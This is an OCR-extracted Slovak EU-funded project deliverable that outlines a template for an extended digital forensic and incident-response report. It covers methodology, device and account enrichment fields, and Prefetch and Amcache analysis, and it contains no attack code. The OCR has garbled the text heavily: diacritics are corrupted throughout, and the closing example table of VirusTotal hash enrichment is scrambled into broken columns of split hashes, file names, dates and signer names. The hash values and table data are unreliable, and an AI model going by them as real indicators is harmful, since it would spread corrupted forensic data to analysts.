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1 Popis projektu

Projekt Automatizacia digitalnej forenznej analyzy a odpovede na incident (dalej len
»ADFIR”) je financovany Eurépskou tniou — Next GenerationEU prostrednictvom Planu
obnovy a odolnosti Slovenskej republiky pod ¢islom projektu €. 09105-03-V02-00079. Tento
projekt sa zaobera jednou z klti€ovych vyziev v oblasti kybernetickej bezpecénosti a informacnej
bezpecnosti — ako spracovat obrovské mnoistvo digitdlnych stép, ktoré vznikaju pocas
incidentov kybernetickej bezpecnosti alebo forenznych vySetrovani. V sicasnosti je tento
proces velmi narocny z hladiska ludskych zdrojov a ¢asu. Automatizdcia pomocou metéd
strojového uéenia moze preto vyrazne zlepsit kvalitu digitdlnej forenznej analyzy a skratit ¢as
potrebny na jej vykonanie. Celkovo to umoznuje bezpecnostnym timom efektivnejSie reagovat
na kybernetické hrozby. Hlavné prinosy tohto projektu su:

e Rychlejsie rieSenie incidentov v oblasti kybernetickej bezpecnosti. Projekt ADFIR
zavadza automatizované pristupy k zberu, spracovaniu a analyze digitalnych stop.
Vdaka tomu mdzu bezpecnostné timy rychlejsie identifikovat priciny incidentov a prijat
ucinné opatrenia na ich riesenie.

e Zniienie pracovnej zataZe forenznych analytikov. Rutinné a ¢asovo naro¢né ulohy
spojené so spracovanim digitalnych stép budl nahradené automatizovanymi
metddami. To umozni analytikom sustredit sa na zloZitejsSie pripady a strategické
rozhodovanie.

e Vyssia kvalita a konzistentnost vystupov. PouZitie jednotnych metodik a nastrojov
zarucuje, Ze spracované digitalne stopy budu presnejSie, konzistentnejSie a lahsie
overitelné. To vyrazne znizuje riziko chyb sp6sobenych ludskymi faktormi.

e Moiné vyuiitie v trestnom konani. Vystupy projektu budu vyvinuté v sulade s
pravnymi poziadavkami a normami, ¢o umozni, aby digitdlne stopy boli akceptované
ako relevantné stopy pre vySetrovanie a sudne konania.

V rdmci pracovného balika KPB5 bol vypracovany vystup D24 — RozSirena sprava z forenznej
analyzy. Tento dokument predstavuje osnovu, ako by mohla byt takato sprava napisana.
Popisujeme, aké boli sp6soby zaclenenia vysledkov obohatenia, prezentovanych v Deliverable
D18, a preco sme si zvolili pristup, ktory je tu prezentovany.
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2  Pristup k tvorbe rozsSirenej spravy z forenznej analyzy

Pri navrhovani a tvorbe Sabldny spravy sme museli zvazit viacero moznosti tykajicich
sa Struktury spravy.

a) Zahrnutie obohatenia po kazdom jednotlivom artefakte.

b) Zahrnutie zastupcu pre obohatenia za kazdu sekciu odkazujucu na parsované stopy
konkrétneho typu, ako je register, zaznamy udalosti (event logy), databdzy a
podobne.

c) Pridanie placeholdera za kazdu sekciu obsahujlcu popisy obohateni stop z tej istej
kategdrie — napriklad stopyy o vykonani, trvani a pod.

d) Vytvorenie sekcie pre obohatené udaje ako prilohu k sprave alebo ako samostatnu
kapitolu spravy.

Najprv sme povazovali tretiu moznost ako najlepsSiu. Sprava by poskytla relevantné
zistenia pre kazdy analyzovany artefakt a obohatila skupinu artefaktov. Tento pristup sme vsak
prehodnotili kvoli variabilite dostupnych obohateni. Napriklad stopy o vykonani mozno
identifikovat v réznych registroch (BAM, Amcache, RunMRU, ...), v sibore Prefetch, v SRUM,
v Event Logs a podobne. Preto by zloZeny vystup obohatenia pre celé kapitoly najprv vyzadoval
vykonanie jednotlivych obohateni na kazdy artefakt a potom ich agregaciu.

Nakoniec sme sa rozhodli implementovat ,verziu A“ a zahrnut samostatnu sekciu pre
obohatenia po kaZzdom jednotlivom parsovanom artefakte. To nevylucuje zahrnutie
sumarizacie po kazdom logickom celku. Aj ked to mdZe viest k vacsim spravam, verime, ze
Citatelnost prevazi nad touto nevyhodou. Nakoniec navrhujeme, aby bol model obohacovania
aktualizovany, aby umoznil findlne spracovanie jednotlivych obohateni do struéného zhrnutia.
Takto budd mat analytici prehlad o obohateni ziskanom na jednotlivych artefaktoch, ako aj
Citatelnost jedného zdroja vsetkych Gdajov poskytnutych obohatenim.

V nasledujucej Casti textu uvadzame Sablénu konkrétnych casti rozSirenej spravy
z forenznej analyzy.
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3 RozsSirena sprava z forenznej analyzy

1. Manazérske zhrnutie

Tato cast by mala sluzit ako Uvod do samotného pripadu. Navrhujeme, aby bolo
zahrnuté nasledovné:

o Identifikator pripadu

e Rozsah skimania

e Skdmané systémy

e Skumany ¢asovy rozsah

e Zhrnutie klucovych zisteni
e Vysokourovnové zhrnutie
e Hlavné obmedzenia

1.1. Metodolodgia

Odporuca sa zahrnut kratky popis toho, ¢o a ako bolo analyzované. Takyto zoznam
zabezpedi, ze kazdy Citatel rozumie tomu, o com sprdava je, aké nastroje boli pouzité na ziskanie
vysledkov a podobne.

1.1.1. Zdroje stop

e Obrazy diskov zariadeni
e Pamatové obrazky

o EVTXlogy

e Exportyz EDR

e Sietové logy

o Dalsie zdroje

1.1.2. Spracovanie a parsovanie

e Nastroje pouZivané na parsovanie

e Pristup k normalizacii

e Praca s Casovymi pasmami (odporuc¢ame vsetko uvadzat v UTC)
o Validaéné kroky

1.1.3. Pristup k obohacovaniu

e Popis postupu obohatenia po parsovani
e Interné zdroje udajov (napriklad inventar aktiv, IR plan, sietovy diagram, konvencia
pomenovania, ...)
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e Externé zdroje dat (sluzby ako VirusTotal, Shodan, Censys a pod.)
e Zhodnotenie déverodnosti/ vyhrad k obohacovaniu

2. Informacie o vysetrovanych stopach

2.1. Typ stopy
2.2. Hase

V tejto kapitole neocakdvame Ziadne obohatenie.

3. Informacie o skimanom zariadeni

3.1. Nazov zariadenia

3.2. Verzia operacného systému

3.3. Posledny cas vypnutia

3.4. IP adresa a sietové nastavenia

3.5. Nainstalované programy

Zdroje zahfnaju kluce registra Uninstall, Installer a Product.

3.6. Pouzitel'né obohatenia

Data z artefaktu na
obohatenie

Nazov hostitela

Obohacovanie

Inventar aktiv

Kontext

Typ stroja, Ucel, hodnota, uroven rizika,
zodpovedny personal, ...

IP adresa (sukromna)

Nazov hostitela

NetBIOS alebo DNS hostname zariadenia, ktoré
priradilo tuto IP.

IP adresa (sukromna)

Funkcia / tloha zariadenia

Funkcia: doménovy kontrolér, siborovy server,
databazovy server, pracovna stanica, tlaciaren,
loT a podobne.

IP adresa (sukromna)

Operacny systém a verzia

Typ operacného systému a verzia beZiaca na
zariadeni (napr. Windows Server 2019, Ubuntu
22.04).

IP adresa (sukromna)

Sietovy segment / VLAN

VLAN ID a nazov alebo sietovy segment, ku
ktorému IP patri (napr. VLAN 100 — Server
DMZ).

IP adresa (sukromna)

Predvolend brana

Predvolenad IP brana pre segment, identifikujuca
smerovacie zariadenie.
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IP adresa (sukromna)

IP adresa (sukromna)

IP adresa (sukromna)

IP adresa (sukromna)

IP adresa (sukromna)

IP adresa (sukromna)

IP adresa (sukromna)

IP adresa (sukromna)

IP adresa (sukromna)

IP adresa (sukromna)

IP adresa (sukromna)

IP adresa (sukromna)

Verzia
systému

operacného

Nainstalované
programy

Pouzivatel'sky ucet
Pouzivatel'sky ucet

Pouzivatel'sky ucet

Pouzivatel'sky ucet

Maska subnetu / CIDR

DHCP vs. statické priradenie

Historia DHCP lease

MAC adresa

Clenstvo v doméne Active
Directory

Typ autentifikacie

Prihldseni
pouzivatelia/pouZivatelia

Nainstalovani bezpecnostni
agenti

Vysledok posledného skenu
zranitelnosti

Kritickost / klasifikacia aktiv

Fyzicky / virtualny / cloudovy
indikator

Zodpovedny administrator /
majitel

CVE / Zranitelnost

CVE / Zranitelnost

Typ uctu
Clenstva v skupinéch
Urover privilegovaného

pristupu

Stav uctu

(povolené/vypnuté/uzamknuté)

Maska podsiete alebo CIDR notacia definujuca
rozsah lokalnej siete.

Ci je IP pridefovana dynamicky cez DHCP alebo
staticky konfigurovana.

Historicky zaznam o tom, ktoré zariadenia mali
tuto IP adresu v priebehu ¢asu (MAC, nazov
hostitela, casové peciatky).

Fyzicka hardvérova adresa karty priradenej k IP
adrese.

AD doména, ku ktorej je zariadenie pripojené, a
OU cesta v adresari.

Primarny autentifikatny mechanizmus:
Kerberos, NTLM, RADIUS, zalozené na
certifikatoch, lokalne.

Pouzivatelské ucty, ktoré su k zariadeniu prave
pripojené, alebo boli prihlasené vo
vySetrovanom case.

EDR, AV, DLP, endpoint firewall agenti bezZiaci
na zariadeni.

Najnovsie zistenia z hodnotenia zranitelnosti
tohto zariadenia.

Hodnotenie biznisovej kritickosti (kriticka,
vysoka, strednd, nizka) a Uroven klasifikacie dat.

Ci uz ide o fyzicky hardvér, virtulny stroj alebo
cloudovu inStanciu.

IT administrator alebo vlastnik systému, ktory je
zodpovedny za toto zariadenie.

Ci je verzia OS alebo akykolvek nainstalovany
softvér ovplyvneny touto zranitelnostou. (NVD,
odporucania pre dodavatelov, CPE udaje, ...)

Ak je verzia OS alebo akykolvek nainstalovany
softvér ovplyvneny touto zranitelnostou. (NVD,
odporucania pre dodavatelov, CPE udaje, ...)

Typ Uctu: Standardny pouZzivatel, administrator,
servisny Ucet, zdielany/genericky ucet.

Bezpecnostné a distribucné skupiny, do ktorych
ucet patri, najma privilegované skupiny.

Ci ma Ucet zvy$ené opravnenia: Domain Admin,
lokalny admin, sudo, root.

Aktualny stav uctu v adresari.
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Pouzivatel'sky ucet Posledna casova peciatka Cas posledného uspesného prihldsenia.

prihlasenia

Pouzivatel'sky ucet Datum poslednej zmeny hesla Kedy bolo heslo naposledy zmenené; Zastaralé
hesla su rizikové.

Pouzivatel'sky Gcet Dodrziavanie politiky hesiel Ci ucet spina pravidla dizky, zloZitosti a veku
hesiel.

Pouzivatel'sky ucet Stav nastavenia MFA Ci je povolena viacfaktorova autentifikacia a akd
metdda je poufzita.

Pouzivatel'sky ucet Anomdlie prihldsenia (geo, ¢as, | Nezvycajné prihlasovacie vzory: nové

zariadenie) geolokdcie, nezvycajny ¢as, nezname
zariadenie.

Pouzivatel'sky ucet Pocet neuspesdnych prihlaseni Pocet nedavnych neuspesnych pokusov o

(nedavno) autentifikaciu; méze naznacovat Utok hrubou
silou.

Pouzivatel'sky ucet Suvisiace zariadenia Zariadenia, do ktorych sa pouzivatelsky ucet
prihlasil alebo je registrovany ako ich primarny
pouzivatel.

Pouzivatel'sky ucet Oddelenie / manazér / titul Organizacny kontext pre pouZzivatela; Pomaha
posudit, ¢i aktivita zodpoveda ulohe.

Pouzivatel'sky ucet Zamestnanecky status Aktivny zamestnanec, dodavatel, prepusteny,
na dovolenke; Zrusené ucty by mali byt
deaktivované.

PouZivatel'sky ucet Histdria VPN / vzdialeného Nedavne zaznamy o VPN pripojeniach: zdrojové

pristupu IP, Casové peciatky, trvanie.

Pouzivatel'sky ucet Service Principal Names (SPN) SPN registrované na Ucte; relevantné pre

hodnotenie rizik Kerberoastingu.

Okrem toho mozeme korelovat verziu OS s artefaktmi, ktoré su pritomné alebo
chybaju v skimanom zariadeni. Napriklad je bezné, Ze Prefetch nie je pritomny na serverove;j
verzii Windows.

4. Zistenia podla forenznych kategorii

Pre kazdu kategériu pouzivame rovnaky vnutorny vzor:

o Ucel kategérie

o Nalezy artefakt po artefakte

e Relevantné obohatenia

e Interpretacia na Urovni kategorie
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4.1. Artefakty spustania programov

V tejto kapitole predstavime zistenia tykajlce sa vykondvania programov. Zahrnuté su
systémové aj pouzivatelsky Specifické pripady.

4.1.1. Prefetch

Kratke zhrnutie zisteni.
Zistenia analyzy

Odporucame poufZit vystupy z nastroja PECmd.exe Erica Zimmermana. Pre lepsiu viditelnost
pouZzite ¢asovu os, na hlbsi pohlad na nacitané subory a priecinky je potrebné preskimat cely
vystup. Vybrané podozrivé zistenia by mali byt prezentované v sprave — NIE cely vystup.

e Nazov spustitelného suboru
o Cesta

e Pocet spusteni

e Posledné Casy spustenia

e Odkazované subory/adresare

Relevantné obohatenia

e Overenie cesty spustitelnych suborov

e Legitimita ndzvu procesu / LOLBin check

e Obohacovanie siborovych hashov

e Obohatenie digitalneho podpisu PE suboru

e Obohatenie pouZivatelského uctu

e Obohatenie domény / URL / IP adresy, ak stopa po spusteni odkazuje na sietové
indikatory

Placeholder pre obohatenie — priklad udajov, ktoré treba zahrnut

e NAazov procesu:

e Ocakavana cesta:

e Hash (NIE ten, ktory je pritomny v ndzve suboru Prefetch, ale hash vypocitany priamo
zo spustitelného suboru na disku):

e Podpis:

e Suvisiace sietové indikatory:

o Kontext threat-intelligence:
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4.1.2. Amcache

Amcache by sa mal analyzovat podla svojich podklticov. Nastroj Erica Zimmermana poskytuje
ako vystup viacero CSV suborov, pricom kazdy z nich by mal byt kontrolovany samostatne.
Odporuca sa zacat s nepridruzenymi siborovymi zdznamami (unassociated file entries). Z
kazdej tabulky moZeme poskytnut relevantny dryvok. Odporuca sa zahrnut len podozrivé
alebo relevantné zaznamy, pripadne vyber zaznamov v ¢asovom ramci incidentu. Tak sa
vyhneme prili§ objemnym spravam.

Parsované pozorovania (uviest odporiéame tabulky s minimalnou mnoZinou
nasledujtcich udajov)

e Nazov programu

o Celd cesta

e SHA-1/hash

o Casové petiatky

e Vydavatel (Vendor)
¢ Informdcie o verzii

Relevantné obohatenia

¢ Obohacovanie suborovych hashov

¢ Obohatenie digitalneho podpisu

¢ Overenie vendora

e Prevalencia / vyhladavanie rodiny malvéru

¢ Suvisiace URL, domény, IP adresy, ak su obnovené z suvisiacich artefaktov

Miesto pre obohatenia

e Reputdcia hashu:

e Rodina malvéru:

e Podpis / signatar:

e Znama legitimna / podozriva klasifikacia:
e Suvisiace subory:

PRIKLAD

normal vt_names vt_signe _ vt MD5 sha256
ized_va d_by ti

lue i m

(SHA1) es

Financované URAD PODPREDSEDU VLADY - N
£ T A
g ini SLOVENSKE) REPUBLIKY VYSKUMNA
- Euspskou inios | PLAN "OBNOVY. @ | HOTANGAEN \I[\ SKUR
NextGenerationEU A ZNALOSTNU EKONOMIKU

AGENTURA

11



056d57 | Vir |1 | N | W 1 fdofb.exe; rLGOL8cW.exe; VMware, | 20 20 3 | 9ac0d | cf21bdb874
83b4c6 | us |/ | /A | i 7 | uu3wipwh.exe; ak3Ix.exe; Inc.; 20- | 22- 2cb3f | b11a8a866
1cb9af To | 7 n 7 | 99pxy.exe VeriSign 01-  10- 36ce2 | DCc4d2dc9a
92bce7 | tal | 6 3 6 Class 3 14 | 19 cad4ab | 0630639BB
086848 2 8 Code T1 | T1 54ble @ FF29360649
156521 D 0 Signing 71 | 7:1 cead9f | F70913909B
3a01 L 2010CA; | 7:1 | 4:2 le 4273B1

L VeriSign 0z 6Z
0e6576 | Vir | 1 N W | 2 | byweér.exe; jA38j)YMW.exe; | VMware, | 20 20 1 | 1587c | d81f9aaal8
24d7db | us / JA | i 5 | 3307nF6ém.exe; 521jzo.exe; | Inc.; 20- | 20- 3d4eb | c3e834ald4
fb2f848 | To | 7 n 4 | q54m9.exe VeriSign 01- | 01- 110f7 | 1451056a8e
0523a4 | tal | 6 3 9 Class 3 14 14 68fb0 | aldd3b84e9
63e4d6e 2 9 Code T1 Tl 03f5c c776230e52
d40a6e D 2 Signing 7:1 | 7:1 021f8 | 7b48817da2
dfa L 2010 CA; 71 | 7:1 65 76eb

L VeriSign 7Z 72
2476df | Vir |1 | N | W | 4 | heOu3.exe; vm3dum64.dll; | VMware, | 20 20 1  cOcf4 @ ff249d3fdbe
8391f9 | us |/ | /A | 9 xY6avghi.exe; Inc.; 20- | 20- 169ae | 9bd2b67ba
7db07a | To | 7 n 7 | DIZnSGcY.exe; VeriSign 01- | 01- 5f383 | 64a600ca2c
b9cded | tal | 6 3 1 | g8o4d3cvo.exe Class 3 14 | 14 530b8 | af4082a839
7fa950 2 6 Code T1 T1 5f449 | 3245b11449
92ee5f D 8 Signing 71 71 d1c94 | 98c6291d10
c8a7 L 2010CA; | 84 | 84 b8 e413

L VeriSign 72 | 77
27627a | Vir | 2 | N | W | 2 | mp7zd.exe; VMware, | 20 20 2 | 9ad46 | a84ecda38e
e2fced us |/ | /A i 6 | 27627ae2fced48cealclOa2a | Inc,; 20- | 24- adbad | 4ecdbeb2ee
8cealc | To | 7 n 6 | 80722aa66ee4a318b.bin; VeriSign 01- | 01- 85ddf | 0d5d7f68aa
10a2a8 | tal | 3 3 2 | kl2bYNJu.exe; Class 3 14 | 15 ebd79 | b9f1464839
0722aa 2 5 | SrLcVFsK.exe; 1yvppvx.exe | Code T1 | T0 565b9 | 30cdal30a9
66eeda D 6 Signing 7:1 | 5:2 12570 | 07362d1c0d
318b L 2010CA; | 7:1 | 1.5 ad 00076

L VeriSign 6Z 57
383584 | Vir 1 N W | 4 | uqvb2.exe; VMware, @ 20 20 2 | 11728 | 8702cceee2
ac2827 us / /A | i 8 | 383584ac282770115fb198 Inc.; 20- | 24- 584cd | 87faccc671
70115f | To | 7 n 8 | df54c80bc9c6f2a46c.bin; VeriSign 01- | 05- 0a2b6 dae2aade28
b198df | tal | 6 3 4 | v8yb3E2g.exe; Class 3 14 | 17 6e27f | blec27d101
54c80b 2 6 = UBHRiwyV.exe; Code T1 | TO 8b5dd | d2a83970d2
c9c6f2a D 4  1aeOdojl.exe Signing 7:1 | 94 98a78 | 513a8eaacb
46¢ L 2010CA; | 9:0 | 8:2 a0 a7d8

L VeriSign 4 | 77
46¢0f8 Vir |1 | N | W| 4 | bsx73.exe; BByQH5Ro0.exe; | VMware, | 20 20 1 | 5¢clbc | abaf8d7c35
875ab2 | us |/ | /A | 9 | RX5T2x4g.exe; Inc.; 20- | 20- 614df | 9a909f7345
005de7 | To | 7 n 0 | 4n787slgn.exe; 904np.exe | VeriSign 01- | 01- 1f8b5 | 2aebbe3349
a0daOb | tal | 6 3 5 Class 3 14 14 e7b3e | 1c04d05d73
cc6d37 2 1 Code T1 T1 0e727 | a23e58dc9c
877af5 D| 2 Signing 7:1 | 711 3fbe8 | f9bc19cf034
9418 L 2010CA; | 85 | 85 c9 cb

L VeriSign 17 17
4d8ae6 | Vir | 2 | N | W | 3 | v05d8.exe; taleX3nO.exe; VMware, | 20 20 1 | c275f | bdaclcca54
do2fsb | us |/ | /A | 4 | w8v3aj6z.exe; Inc.; 20- | 20- 8cb12 | 6ca5c142f2
ff96738 | To | 7 n 2  D6CL6fy8.exe; 34ylbf.exe VeriSign 01- | 01- 18f9c | e53e471e88
711cc5 | tal | 3 3 5 Class 3 14 | 14 10147 | 4a5c81fe57
bde80b 2 4 Code T1 T1 d2824 | 6282884809
a2867a D 4 Signing 7:1 | 7:1 f1c09 EBFDD43d0
822 L 2010CA; | 85 | 85 42 4d57a

L VeriSign 9z 9z
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4ddca6 | Vir | 1 N W | 1 | zlyaj.exe; VMware, | 20 20 3 | cc9d9 | 6869665120
7862e8 |us |/ | /A | 7 | vm3dum64_loader.dll; Inc.; 20- | 23- 04e85 | 48e4ba21dd
10bldb | To | 7 n 9 | Z2uu8ksm.exe; VeriSign 01- | 04- 7fbd6 | 0536a00c3d
898d55 | tal | 6 3 2 | Ihn4rChK.exe; rjbp3.exe Class 3 14 | 04 45e4d | 04f5725e7b
eb27d2 2 1 Code T1 T0 cb955 | abd2b75f47
c8d141 D 6 Signing 7:1 | 6:0 70705 | 43fal31c2b
5fae L 2010CA; | 85 | 8:3 6f 418d

L VeriSign 6Z 1Z
5eb10a | Vir |1 | N | W 1  nglLPgKQe.exe; 7uyQiil.exe; = VMware, | 20 20 1  64a3f @ 94eb51dOaa
82d0b9 | us |/ | /A | 7 | vm3ddevapi64.dll; Inc.; 20- | 20- 2d4bc | eac78le7df
151305 To | 7 n 8 | jvx2n.exe; d4dhek.exe VeriSign 01- O01- cba5d | d08f97044a
ofédca tal | 6 3 1 Class 3 14 14 98ea2 | 7d7a26fa73
8ad759 2 9 Code T1 | T1 59278 | 8c8f73aaa8
94c973 D 2 Signing 7:1 | 711 5b776 | 4dadc246¢cc
0de2 L 2010 CA; 7:1 | 7:1 17 36d6d

L VeriSign 47 47
647e5e | Vir | 2 N W | 1 | ee3B10ORF.exe; VMware, | 20 20 1 | 79dac | a5453849d3
f4a7ea us |/ | /A i 5 | 4AEY1XMt.exe; kyj034.exe; | Inc,; 20- | 20- 9alaf | 83046f7eb4d
2f5fb2 To | 7 n 4 | 2mrls.exe; 976w7.exe VeriSign 01- | 01- 0b834 | 6132ebcb66
dc997c | tal | 3 3 6 Class 3 14 | 14 48430 | ad4d049876
7bAaff78 2 4 Code T1 | T1 ddécb | cf6c599b33
da668b D 0 Signing 7:1 | 71 2b5e7 | 19cd9fabl7
ed3 L 2010 CA; 71 | 7:1 cf 0c02

L VeriSign 27 27
658ce0 | Vir | 2 | N | W | 2 | k3YiXFdg.exe; VMware, @ 20 | 20 1  e6679 @ 8b0886b83
d91426 | us |/ | /A | i 1 | YSFeQpui.exe; ihuuli3.exe; Inc.; 20- | 20- cb4cc | 78ffada3bac
ea51a0 To | 7 n 8 | h64ded.exe; watww.exe VeriSign 01- 01- 6608a | 63d7fff597e
43011d | tal | 3 3 1 Class 3 14 14 770e7 | ff94483646
683943 2 2 Code T1 | T1 lad5a | 27d157083
05e57c D 8 Signing 7:1 | 7:1 f978e b3722e46b
22dc L 2010 CA; 72 | 7:2 78407

L VeriSign 1Z 1Z
6df7a8 | Vir | 2 | N | W| 2 | vm3dgled.dll; VMware, | 20 | 20 1 | 5b478 | f693b59cca
23511a |us |/ | /A | 9 | blenFCe3.exe; Inc.; 20- | 20- 74ed0 | 564cd06d07
a8169b | To | 7 n 0 | LdcYZKjF.exe; 2vigk.exe; VeriSign 01- | 01- Ocdbb | 38035al54c
201d07 | tal | 3 3 1 | 45zs3.exe Class 3 14 14 23c17 | 187c606e27
1c7e58 2 6 Code T1 Tl 57973 | cb360fba00
91b8a7 D 5 Signing 7:1 | 711 05bb1 | 1af54c¢969c
a360 L 9 2010CA; | 8:3 | 8:3 a7 1c6

L 2 VeriSign 17 1z
730bb7 | Vir | 2 N W 4 | AdejhKrf.exe; VMware, @ 20 20 1 | ad77f @ 427b861025
5b9166 | us |/ | /A | i 2 | bKVdiAta.exe; Inc.; 20- | 20- acab9 | e804022e2c
36540e | To | 7 n 1 | hkrsbqtj.exe; delzu.exe; VeriSign 01-  01- a5a40 | 6a3490e41b
163700 tal @ 3 3 3 | eOvsl.exe Class 3 14 14 2clef | 2ccela5894
61b7ab 2 9 Code T1 | T1 92eae | 947716a9da
1106df D | 2 Signing 7:1 | 7:1 b1b60 | eObca35ead
4678 L 2010CA; | 9:0 | 9:0 cd 4f4e

L VeriSign 1z 1z
7372d4 | Vir | 2 N W | 2 | OY73IK5i.exe; VMware, | 20 20 1 | c4805 | 85e6f325a9
2cc08e us / JA | i 2 | 95yBaONg.exe; Inc.; 20- | 20- 477c8 | 3243bf1642
74e053 | To | 7 n 9 | 59c2osuh.exe; axlkc.exe; VeriSign 01- | 01- 2909a | 0d6587f38e
8dfb77 | tal | 3 3 9 | ubsis.exe Class 3 14 14 81c7d | 4d413fc274
b1dffs 2 0 Code T1 | T1 2a236 | 5610e81158
712531 D 4 Sighing 71 | 7:1 eaab7 | 6300e4f18a
bb8c L 2010 CA; 72 | 7:2 c9 5dbf

L VeriSign 3Z 3Z
8519ca | Vir |1 | N | W | 4 | 8519cabbe3348545be07c7 @ VMware, @ 20 20 1  71e59 @ 59946dbe5e
6be334 | us |/ | /A | i 1 | 795a2c84951alle22c.bin; Inc.; 20- | 20- 8379d @ ab4cif62la
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8545be To | 6 n 6 « vm3dum.dll; X8P8Vti7.exe; | VeriSign 01- | 01- ce727 @ 3554782720
07¢779 | tal | 7 3 2 | hSN35uZu.exe; Class 3 14 14 b8299 @ db8156b9cb
5a2c84 2 7 | 49dumaotm.exe Code T1 | T1 flba3 | 16220ccfl4
951a11 D 2 Signing 7:1 | 71 60d70 | 2bc86bd16b
e22c L 2010CA; | 8:4 | 8:4 64 7165

L VeriSign 52 57
86f9ca Vir |1 | N | W| 4 | vm3dmp-debug.sys; VMware, | 20 | 20 10 | 6709a | 077318a289
6f5dc3 us |/ | /A i 2 | sObpl.exe; gew5o0.exe; Inc.; 20- | 23- 6d2b8 | 69bbd76e9
820750 | To | 7 n 0 | sdqr8.exe; Oz1VlJj4L.exe VeriSign 01- | 10- ba7b2 | 876d4c2ffb
388856 | tal 1 3 3 Class 3 14 16 38116 | 7679415c22
fe9bfl 2 6 Code T1 Tl e53c8 | 29a1931b36
b5191e E 8 Signing 71 | 94 a3526 | 55e5079ael
895d X 2010CA; | 83 | 7:1 95 1f8b5

E VeriSign 8z 0z
a2fe55 Vir |2 | tr | W 3 | vm3dum64_10.dll; VMware, @ 20 20 2 | 18b26 | b3c90e290e
ale6d9 us | / oj | i 9 | NNSNndvV.exe; Inc.; 20- | 24- 429ac | efa2f5146b
708b6f | To | 7 n 4 | DfuUPzQh.exe; VeriSign 01- | 05- 91c38 | 19e935f55a
1le49f2 | tal 7 . |3 7 | 01p2h7.exe; 1y81ly.exe Class 3 14 | 17 f6338 | 70d08bd78
0f987f4 ge | 2 6 Code T1 | T1 5f9d4 | 585041b43a
f3edbe nc | D 8 Signing 7:1 | 0:1 91b29 | eOaefebcca
733 bl | L 2010CA; | 84 | 1:5 7b 49d03

L VeriSign 9z 52
c25¢49 | Vir |1 | N | W| 3 | vm3dmp-stats.sys; VMware, | 20 20 7 | c3a0f | 389d02e7eb
d196f2 | us |/ | /A | 3 | do78vg3q.exe; ifv96.exe; Inc.; 20- | 23- 246f6 | d4d085808
dd4dif | To | 6 n 7 | 58qjk.exe; b6aMQgRH.exe | VeriSign 01- | 06- abbdb | ba699d76c1
959bdf | tal 2 3 4 Class 3 14 30 99a03 | 4a48ddb4e3
2751e8 2 2 Code T1 T0 8cdel | fd37b7064a
6f4c63 E 4 Signing 7:1 | 75 24d44 | 3f0d57f55f8
97ae X 2010CA; | 8:4 | 4:4 ed 7b

E VeriSign 17 3Z
d27a3b | Vir |1 | N | W 5 | OkcrOwz.exe; VMware, | 20 20 2 | fe0ee | 624666923
30fc06c | us |/ | /A | i 2 | vmGuestLibJava.dll; Inc.; 20- | 22- d4el3 | 2ef341d9b0
3fad82 | To | 7 n 7 « D27A3B30FCO6C3FAD82D5 | DigiCert 04- | 10- 13c6c | 9a558bb43
d5b198 | tal | 4 3 8 | B198BD170381845BD79; Assured 09 | 20 70d44 | d89e43c5aa
bd1703 2 4 | vmGuestLiblava; ID Code TO | T1 b0f28 = 0d87fe9c97
81845b D vmGuestLibJava.dll_32.869 | Signing 0:4 | 03 1d29b | 2fd7578a34
d79 L A7E00_8665_0000_83A8_ CA-1; 3:55 | 3:3 9E a80b

L EFOF76CF0001 DigiCert a4z 0z
d50cd7 | Vir |1 | N | W | 3 | vm3dmp.sys; VMware, | 20 20 6 | 29f15 | FFFA3ESES0
532870 | us |/ | /A | 0 | hncilfdle.exe; k4zq9.exe; Inc.; 20- | 23- de99b | O0E537BCS8
6eccdf | To | 7 n 7 | Ojzfh.exe; eyU5jliL.exe VeriSign 01- | 06- 42f43 | 361A05C97
27e4f1 tal 7 3 7 Class 3 14 30 28dd1 | A1B1C0552
d71892 2 2 Code T1 | TO 6919f | CA4aA5134
219816 E 8 Signing 7:1 | 75 60af0 | A48ASE6A4
eb6e X 2010CA; | 83 | 4:4 91 A664191F3

E VeriSign 77 | 32
deelaf | Vir |1 N W | 3 | libxmlsec.dll; VMware, | 20 20 2 | a0d2a | fb18d86bf6
4ec544 (us |/ | /A | 8 | mqi00v5cj.exe; NULL; Inc.; 20- | 22- ae575 | 215b3f5779
35e533 | To | 7 n 4 | D661AFAEC54435E5334F5 DigiCert 04- | 10- ed64f | 12da8bafb3
4f52ce tal |5 3 7 | 2CE5DC66B4CFBDD950C; Assured 09 20 d72b3 | 9b8c0d7976
5dc66b 2 2 | fil81C993CA7827904B6F2B | ID Code TO T1 17flb | e3a6e829e7
4cfbdd D | 8 | 6EC3BA2C687A.6C78EQ7E_ | Signing 0:4 | 0:3 e37aa | 572516fbcf
950¢c L E9FD_479D_942B_CD97FB | CA-1; 1:3 | 41 e5 1673

L 809D1E DigiCert 9z 9z
foo534 | Vir |1 | N | W| 4 | KgIBKrDT.exe; VMware, | 20 20 1 | A507 6edbbaedlc
bec380 | us |/ | /A |i 6 | 870i5AWY.exe; c76rll.exe; Inc.; 20- | 20- 77A0 08d9e3a35c
5553e8 | To | 7 n 2 | vl4ar.exe; b32za.exe VeriSign 01- | 01- 95D2 df69e098cc
83a685 | tal | 3 3 8 Class 3 14 14 7603 9f493b7eef
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9d8f35 2 6 Code T1 Tl DC11 29bada8f27
9fc9d3 D 4 Signing 71 | 7:1 D637 8eae73d596
0b10 L 2010CA; | 85 | 85 3507E | b4fl

L VeriSign 3Z 3Z 9CC
f67de0 | Vir |1 | N | W 5 jjAP9WS8.exe; VMware, | 20 20 1  clc9a @ E6CEDD9EB
cc82b3 | us |/ | /A | 8 | Yc3AEowC.exe; Inc.; 20- | 20- 78121 @ CA46FEC4603
€994c¢3 To | 7 n 8 | GUvnGp9m.exe; VeriSign 01- O01- 568a4 | 0A3C14579
416ed4 tal | 6 3 8 | vcukfs4ch.exe; sir3j.exe Class 3 14 14 54b7f | Baffbc317F
fe36b6 2 1 Code T1 T1 7af79 D75A17993
955777 D 6 Signing 7:1 | 7:1 645d6 | F95557E6BC
62ff L 2010CA; | 85 | 8:5 97 Cc215ECA

L VeriSign 52 52
FB23B9 | Vir | 2 | Tr | W | 2 | UxLfSYOY.exe; VMware, | 20 20 1 | 5566¢c | 2dfla45664
B88F17 | us | / 6j | i 1 | Avy5hl2l.exe; gkhxg.exe; Inc.; 20- | 20- 7870f | 4a8830c09a
2F133A | To | 7 sk | 'n 7 | 4bluu.exe; VeriSign 01- | 01- 4b03b | 5b2051be5
64Fd0c | tal 6 y 3 6 | _vm3dgl.dll_Vista.OFF146E | Class 3 14 14 02132 | 1c6feb676¢
0A4A5 ko | 2 8 | 0_2F5B_4A58 BD2B_00EO Code T1 Tl 1ce52 | ab3c2c2e8f
